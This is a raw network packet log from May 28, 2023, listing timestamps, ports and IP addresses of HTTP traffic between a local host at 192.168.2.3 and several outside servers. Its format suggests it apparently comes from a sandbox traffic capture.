May 28, 2023 10:42:44.120820999 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120867014 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120914936 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.120959997 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.121005058 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.121043921 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.121049881 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.121095896 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.121133089 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.121141911 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.121181011 CEST	80	49704	45.9.74.80	192.168.2.3
May 28, 2023 10:42:44.121241093 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.170171976 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.232374907 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.236376047 CEST	49704	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:44.729727983 CEST	49711	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:44.921266079 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:44.987809896 CEST	80	49711	175.119.10.231	192.168.2.3
May 28, 2023 10:42:44.989798069 CEST	49711	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:44.990077972 CEST	49711	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:45.159254074 CEST	49714	80	192.168.2.3	211.59.14.90
May 28, 2023 10:42:45.165149927 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.165358067 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:45.165749073 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:45.418528080 CEST	80	49714	211.59.14.90	192.168.2.3
May 28, 2023 10:42:45.418658972 CEST	49714	80	192.168.2.3	211.59.14.90
May 28, 2023 10:42:45.438117981 CEST	49714	80	192.168.2.3	211.59.14.90
May 28, 2023 10:42:45.448337078 CEST	80	49711	175.119.10.231	192.168.2.3
May 28, 2023 10:42:45.454813957 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.574847937 CEST	49703	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:45.591419935 CEST	80	49703	188.114.96.7	192.168.2.3
May 28, 2023 10:42:45.591568947 CEST	49703	80	192.168.2.3	188.114.96.7
May 28, 2023 10:42:45.631599903 CEST	49716	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:45.648171902 CEST	80	49716	188.114.97.7	192.168.2.3
May 28, 2023 10:42:45.648329020 CEST	49716	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:45.648588896 CEST	49716	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:45.648648024 CEST	49716	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:45.664850950 CEST	80	49716	188.114.97.7	192.168.2.3
May 28, 2023 10:42:45.664896965 CEST	80	49716	188.114.97.7	192.168.2.3
May 28, 2023 10:42:45.790332079 CEST	80	49711	175.119.10.231	192.168.2.3
May 28, 2023 10:42:45.790393114 CEST	80	49711	175.119.10.231	192.168.2.3
May 28, 2023 10:42:45.790453911 CEST	49711	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:45.790528059 CEST	80	49716	188.114.97.7	192.168.2.3
May 28, 2023 10:42:45.790564060 CEST	80	49716	188.114.97.7	192.168.2.3
May 28, 2023 10:42:45.790576935 CEST	49711	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:45.790601015 CEST	49711	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:45.791578054 CEST	49716	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:45.797451973 CEST	49716	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:45.797641993 CEST	49716	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:45.813823938 CEST	80	49716	188.114.97.7	192.168.2.3
May 28, 2023 10:42:45.813877106 CEST	80	49716	188.114.97.7	192.168.2.3
May 28, 2023 10:42:45.880850077 CEST	80	49716	188.114.97.7	192.168.2.3
May 28, 2023 10:42:45.880903959 CEST	80	49716	188.114.97.7	192.168.2.3
May 28, 2023 10:42:45.881064892 CEST	49716	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:45.897033930 CEST	80	49714	211.59.14.90	192.168.2.3
May 28, 2023 10:42:45.918703079 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.918751001 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.918796062 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.918842077 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.918859959 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:45.918888092 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.918899059 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:45.918934107 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.918936968 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:45.918979883 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.919009924 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:45.919025898 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.919071913 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:45.919074059 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.919111967 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:45.919121027 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:45.919167995 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:45.922390938 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.164072037 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164184093 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164231062 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164313078 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164340019 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.164340019 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.164360046 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164405107 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164452076 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164496899 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164500952 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.164546013 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164592981 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164633036 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.164638042 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164674997 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.164684057 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164695978 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.164730072 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164774895 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164812088 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.164820910 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164866924 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164906025 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.164911985 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.164957047 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.165389061 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.166529894 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.166583061 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.169750929 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.217509985 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:46.297029972 CEST	80	49714	211.59.14.90	192.168.2.3
May 28, 2023 10:42:46.297076941 CEST	80	49714	211.59.14.90	192.168.2.3
May 28, 2023 10:42:46.297166109 CEST	49714	80	192.168.2.3	211.59.14.90
May 28, 2023 10:42:46.297166109 CEST	49714	80	192.168.2.3	211.59.14.90
May 28, 2023 10:42:46.298192024 CEST	49714	80	192.168.2.3	211.59.14.90
May 28, 2023 10:42:46.410146952 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.410254002 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.410330057 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.410402060 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.410475016 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.410569906 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.410600901 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.410643101 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.410723925 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.410780907 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.410811901 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.410883904 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.410957098 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411009073 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.411045074 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411139965 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411211014 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411262035 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.411295891 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411365986 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411444902 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411495924 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.411530972 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411602974 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411674976 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411725998 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.411758900 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411828041 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411900043 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.411948919 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.411983967 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412060976 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412130117 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412179947 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.412214041 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412306070 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412379026 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412427902 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.412468910 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412556887 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412609100 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.412642956 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412713051 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412794113 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412847042 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.412880898 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.412951946 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.417577982 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.418649912 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.418759108 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.418833971 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.418905973 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.419020891 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.420839071 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.468730927 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:46.472965956 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:46.472965956 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:46.557224989 CEST	80	49714	211.59.14.90	192.168.2.3
May 28, 2023 10:42:46.656888962 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.656987906 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657063007 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657143116 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657196045 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.657247066 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657327890 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657375097 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.657402039 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657471895 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657545090 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657593012 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.657620907 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657697916 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657768011 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657812119 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.657840014 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657910109 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.657980919 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658020973 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.658051968 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658121109 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658195019 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658241987 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.658272028 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658339977 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658385038 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658423901 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.658423901 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.658432007 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658472061 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.658478975 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658525944 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658544064 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.658574104 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658595085 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.658596039 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.658621073 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658668041 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658705950 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.658713102 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658759117 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658797026 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.658804893 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658849001 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658895969 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658931971 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.658941031 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.658987045 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659034014 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659069061 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.659080029 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659126043 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659171104 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659205914 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.659214973 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659260035 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659305096 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659341097 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.659349918 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659396887 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659440994 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659477949 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.659487963 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659533978 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659581900 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659619093 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.659627914 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659673929 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659720898 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659799099 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.659809113 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659854889 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659900904 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659935951 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.659945965 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.659989119 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660032034 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660077095 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660096884 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.660125971 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660171986 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660208941 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.660217047 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660284042 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660334110 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660377026 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.660379887 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660424948 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660470963 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660520077 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.660520077 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.662070036 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.662115097 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.662121058 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.662162066 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.662209034 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.662249088 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.662255049 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.662301064 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.663763046 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.668597937 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.668714046 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.669605970 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.670521021 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.671611071 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.672549963 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.672606945 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.674519062 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.674578905 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.675789118 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.677793980 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.677886009 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.679512978 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.679830074 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.748508930 CEST	49711	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:46.772680044 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:46.906183958 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906295061 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906341076 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906378984 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906389952 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906436920 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906441927 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906441927 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906478882 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906495094 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906511068 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906542063 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906564951 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906590939 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906636953 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906653881 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906686068 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906701088 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906701088 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906733990 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906780958 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906795979 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906795979 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906830072 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906876087 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906923056 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.906971931 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906971931 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.906975985 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907006979 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907025099 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907037973 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907071114 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907090902 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907118082 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907140970 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907166004 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907195091 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907212019 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907237053 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907258034 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907279015 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907342911 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907388926 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907422066 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907434940 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907459974 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907480955 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907496929 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907527924 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907556057 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907578945 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907624006 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907627106 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907660961 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907671928 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907692909 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907716990 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907747984 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907763004 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907792091 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907808065 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907824993 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907852888 CEST	80	49713	123.140.161.243	192.168.2.3
